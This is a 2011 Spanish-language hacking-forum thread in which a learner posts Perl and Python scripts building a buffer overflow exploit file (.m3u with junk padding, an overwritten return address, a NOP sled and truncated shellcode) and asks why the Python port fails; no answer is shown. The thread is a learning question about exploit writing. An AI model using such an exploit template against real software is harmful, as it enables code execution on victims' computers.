elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 15:05  


Tema destacado: Recuperar cuenta de Google, GMail, Youtube

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  problema al programar exploits en python
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: problema al programar exploits en python  (Leído 1,959 veces)
s0ud

Desconectado Desconectado

Mensajes: 2


Ver Perfil
problema al programar exploits en python
« en: 13 Mayo 2011, 00:59 »

Buen día,

he estado aprendiendo sobre programar/escribir exploits de una pagina muy buena a mi parecer. la cuestion es que los ejemplos estan escritos en perl y yo quisiera utilizar python para hacer los exploits.

mi problema es al tratar de traducir la funcion pack de perl a python. en perl es muy facil:

my $eip = pack('V',0x7E429353); 

lo mas parecido que encontre en python es:

from struct import pack
eip = pack('<L',0x7E429353)

incluso estuve viendo codigo de otros explots en este lenguaje y asi es como lo hacen.

la cosa es que no funciona :S,  estoy utilizando python v2.7 (intente con la 3.2 pero tampoco)

aqui dejo el codigo del explot de prueba que utilizo, en perl y python (perl si me funciona)

PERL
Código:
my $file= "test1perlFinal.m3u";
my $junk= "A" x 26049;
my $eip = pack('V',0x7E429353); 

my $shellcode = "\x90" x 25;

$shellcode = $shellcode . "\xdb\xc0 ....  \x7b\xca";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);

Python
Código:
from struct import pack

filename = "test1.m3u"
junk = "\x41" * 26049
eip = pack('<L',0x7E429353)
espdata = "\x90" * 25
payload = "\xdb\xc0\ .... \xca"
FILE = open(filename,"wb")
FILE.write(junk+eip+espdata)
FILE.close()

será que no funciona por algo del codigo? segun yo, los 2 deberian de funcionar igual

si necesitan mas informacion puedo proporcionarla, nadamas pregunten

Gracias por su ayuda
En línea
s0ud

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: problema al programar exploits en python
« Respuesta #1 en: 19 Mayo 2011, 00:56 »

alguna sugerencia?
En línea
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[MOD] ¿Como crear y programar exploits?
Bugs y Exploits
RDR 2 1,741 Último mensaje 4 Febrero 2004, 18:47
por RDR
[Python-Source]Buscador/Descargador de exploits
Bugs y Exploits
Debci 7 2,066 Último mensaje 9 Mayo 2010, 16:13
por isseu
[Propuesta]Videos tutoriales aprender a programar en python
Foro Libre
juh 13 2,241 Último mensaje 21 Septiembre 2010, 05:25
por juh
[python]VideoTraining Aprende A Programar En Python desde 0 « 1 2 »
Scripting
juh 22 5,554 Último mensaje 16 Octubre 2010, 13:12
por sheevalum
Programar web en python? Programar OS en Phyton?
Scripting
GeorgArming 2 1,215 Último mensaje 30 Diciembre 2011, 22:56
por RakNae
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines